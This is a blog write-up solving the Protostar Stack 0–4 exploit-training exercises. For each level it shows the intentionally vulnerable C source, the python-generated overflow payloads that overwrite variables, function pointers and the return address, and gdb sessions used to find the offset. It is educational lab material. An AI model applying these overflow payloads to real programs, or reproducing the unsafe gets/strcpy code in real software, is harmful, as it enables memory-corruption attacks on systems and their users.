paulwalko.github.io/_posts/2016-06-14-nebula_exploit_e...

8.2 KiB

title layout category tags excerpt
Protostar Exploit Exercises Solutions 0-4 post writeup
exploit-exercises
protostar
hacking
Walkthrough for Protostar exercises on exploit-exercises.com

Note: When you first logon to protostar, make sure you are actually using bash. It will make things a lot easier.

Stack 0

Here's what we're given:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

The first thing I took note of is the size of the buffer: 64 bytes. After that, the program inputs text for buffer, and then checks to see if you modified the modified variable. I'm guessing if I put in a string longer than 64 bytes it will work. Let's see:

$ echo `python -c 'print "A"*64'` | ./stack0
Try again?

That works as expected, now with 65 bytes:

$  echo `python -c 'print "A"*65'` | ./stack0      
you have changed the 'modified' variable

Solved!

Stack 1

Here's the code we're given:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Just like Stack 0, we're given a buffer array size 64 bytes and we're also asked to input the contents of it. Except it looks like modified has to equal 0x61626364 instead of just changing it like before.

Keep in mind this is little endian, so I'll input the value in reverse order:

$ ./stack1 `python -c 'print "A"*64'`
Try again, you got 0x00000000

That works as expected, now with the additional bytes:

$ ./stack1 `python -c 'print "A"*64 + "\x64\x63\x62\x61"'`    
you have correctly got the variable to the right value

Woo!

Stack 2

The website says this one involves environment variables, and how they can be set, so let's look at the code:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

There's the char buffer[64] and char *variable again, then shortly after that it reads in the GREENIE environmental variable. Since GREENIE is copied to buffer, let's see if appending 0x0d0a0d0a to the end of some 64 bit string, since that's what it compares in the if statement:

user@protostar:/opt/protostar/bin$  export GREENIE=`python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"'`
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable

Stack 3

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

It looks like I need to input a 64 byte buffer like previously, and then append the address of win(), which will write to fp.

First to figure out the address of win I ran objdump -d stack3 | grep win which outputs 08048424:

user@protostar:/opt/protostar/bin$ objdump -d stack3 | grep win
08048424 <win>:

And appending it to the buffer:

user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*64 + "\x24\x84\x04\x08"'` | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack 4

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

This is similar to Stack 3, except it I need to add some extra padding to get to win.

First I'm going to get the memory address of win, but I won't use this till the end:

user@protostar:/opt/protostar/bin$ objdump -d stack4 | grep win
080483f4 <win>:

Now to figure out the padding, I ran gdb with and used binary search to figure out what the max buffer is:

First with predefined buffers of 50 and 100:

GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) r   // with 50
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program exited with code 060.
(gdb) r   // with 100
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r   // with ~75
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program exited with code 060.
(gdb) r   //with ~80
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

And now I figured out it's somewhere around 80 by approximation, so I guessed than then 75, then 76:

user@protostar:/opt/protostar/bin$ gdb ./stack4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) r   // with 80
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r   // with 75
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA     

Program exited with code 060.
(gdb) r   // with 76
Starting program: /opt/protostar/bin/stack4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA    

Program received signal SIGSEGV, Segmentation fault.
0xb7eadc03 in __libc_start_main (main=Cannot access memory at address 0x41414149
) at libc-start.c:187
187     libc-start.c: No such file or directory.
        in libc-start.c
(gdb) Woo => 76

Alright, so I know the buffer I need is 76, and the memory address of win:

user@protostar:/opt/protostar/bin$ echo `python -c 'print "A"*76 + "\xf4\x83\x04\x08"'` | ./stack4
code flow successfully changed

There you go.

Stack 5

Finally, we get to do some shellcode!

I have a good idea about how to do this, but unfortunately I can't get something to work right, so I'll update this as soon as I do.